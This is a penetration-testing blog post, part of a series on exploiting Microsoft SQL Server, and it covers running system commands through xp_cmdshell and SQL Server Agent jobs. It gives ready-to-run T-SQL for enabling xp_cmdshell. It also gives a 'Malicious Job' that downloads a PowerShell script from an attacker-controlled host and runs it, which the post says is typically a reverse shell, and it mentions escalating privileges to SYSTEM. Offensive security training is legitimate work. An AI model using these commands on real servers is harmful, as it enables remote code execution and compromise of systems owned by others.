3. Command Execution

MSSQL server enumeration and exploitation series

Posted Apr 12, 2025

By Zyad Elsayed

5 min read

🧨 Command Execution Methods
✅ Requirements
1. 🚀 Command Execution via xp_cmdshell
2. 🧨 Command Execution via SQL Server Agent Jobs
3. 🎮 Command Execution via OLE Automation Procedures
📌 Summary Table For the used methods

🧨 Command Execution Methods

MSSQL Server provides several ways to execute system-level commands, which attackers or penetration testers may leverage for post-exploitation. These include:

Using xp_cmdshell
Creating malicious SQL Server Agent Jobs
Leveraging OLE Automation Procedures

⚠️ Important: These features are usually disabled by default for security reasons. You must be a member of the sysadmin role to enable and use them.
1 2 EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

✅ Requirements

To perform command execution in MSSQL Server:

You must have sysadmin privileges to enable advanced options or run high-privileged features.
MSSQL Server must allow enabling features like xp_cmdshell, Agent Jobs, or OLE Automation.
Ensure the target MSSQL instance is configured and not hardened (some servers disable or restrict these capabilities in production).
For Agent Jobs: The SQL Server Agent service must be running.

1. 🚀 Command Execution via `xp_cmdshell`

xp_cmdshell is a built-in stored procedure that allows executing system commands directly via cmd.exe using T-SQL .

⚙️ Requirements
- sysadmin privileges
- xp_cmdshell must be enabled

🧱 Steps to Enable xp_cmdshell

  
  EXEC sp_configure 'show advanced options', 1;
  RECONFIGURE;
  EXEC sp_configure 'xp_cmdshell', 1;
  RECONFIGURE;

▶️ Usage Example
1 EXEC xp_cmdshell 'ipconfig';
This spawns a cmd.exe process as a child of the sqlservr.exe process.
The command runs under the context of the SQL Server service account (e.g., NT AUTHORITY\SYSTEM or a custom SQL service account).

🧹 Cleanup:

To disable it again after use:

  
  EXEC sp_configure 'xp_cmdshell', 0;
  RECONFIGURE;
  EXEC sp_configure 'show advanced options', 0;
  RECONFIGURE;

2. 🧨 Command Execution via SQL Server Agent Jobs

SQL Server Agent Jobs are scheduled tasks used to automate database operations. If the SQL Server Agent service is running, jobs can be abused to execute arbitrary commands.

🧱 Requirements
- SQL Server Agent service must be running.
- User must have sysadmin rights.

🧪 Normal Agent Job

  
  USE msdb;
  EXEC dbo.sp_add_job @job_name = N'MyJob';
  EXEC sp_add_jobstep 
      @job_name = N'MyJob',
      @step_name = N'SampleStep',
      @subsystem = N'TSQL',
      @command = N'ALTER DATABASE SALES SET READ_ONLY';

👷 Normal Job Creation Example

Weekly Sales Data Backup runs once at 23:30:00

  
  USE msdb;
  EXEC sp_add_job @job_name = N'Weekly Sales Data Backup';
  EXEC sp_add_jobstep
      @job_name = N'Weekly Sales Data Backup',
      @step_name = N'Set DB ReadOnly',
      @subsystem = N'TSQL',
      @command = N'ALTER DATABASE SALES SET READ_ONLY',
      @retry_attempts = 5,
      @retry_interval = 5;
  EXEC sp_add_schedule
      @schedule_name = N'RunOnce',
      @freq_type = 1,
      @active_start_time = 233000;
  EXEC sp_attach_schedule
      @job_name = N'Weekly Sales Data Backup',
      @schedule_name = N'RunOnce';
  EXEC sp_add_jobserver @job_name = N'Weekly Sales Data Backup';

💥 Malicious Job using PowerShell Subsystem

SQL Server provides CmdExec and PowerShell subsystems that can be used to execute system commands and PowerShell scripts, respectively.

You can create a SQL Server Agent job with a step that uses the PowerShell subsystem to download and execute a script hosted on your machine.

Instead of scheduling the job, you can start it immediately using the sp_start_job stored procedure.

To run a PowerShell script (e.g., for a reverse shell):

  
  USE msdb;
  EXEC sp_add_job @job_name = N'Malicious Job';
  EXEC sp_add_jobstep 
      @job_name = N'Malicious Job',
      @step_name = N'Execute PowerShell Script',
      @subsystem = N'PowerShell',
      @command = N"(New-Object Net.WebClient).DownloadString('http://10.10.14.104/a') | IEX;";
  EXEC sp_add_jobserver @job_name = N'Malicious Job';
  EXEC sp_start_job @job_name = N'Malicious Job';

The remote file a would typically contain a PowerShell reverse shell payload.

🚨 Security Note

SQL Server Agent often runs as NT SERVICE\SQLSERVERAGENT
This account typically holds SeImpersonatePrivilege, which can be escalated via “Potato” attacks to SYSTEM

🧹 Cleanup:

  
  EXEC sp_delete_job @job_name = N'Malicious Job';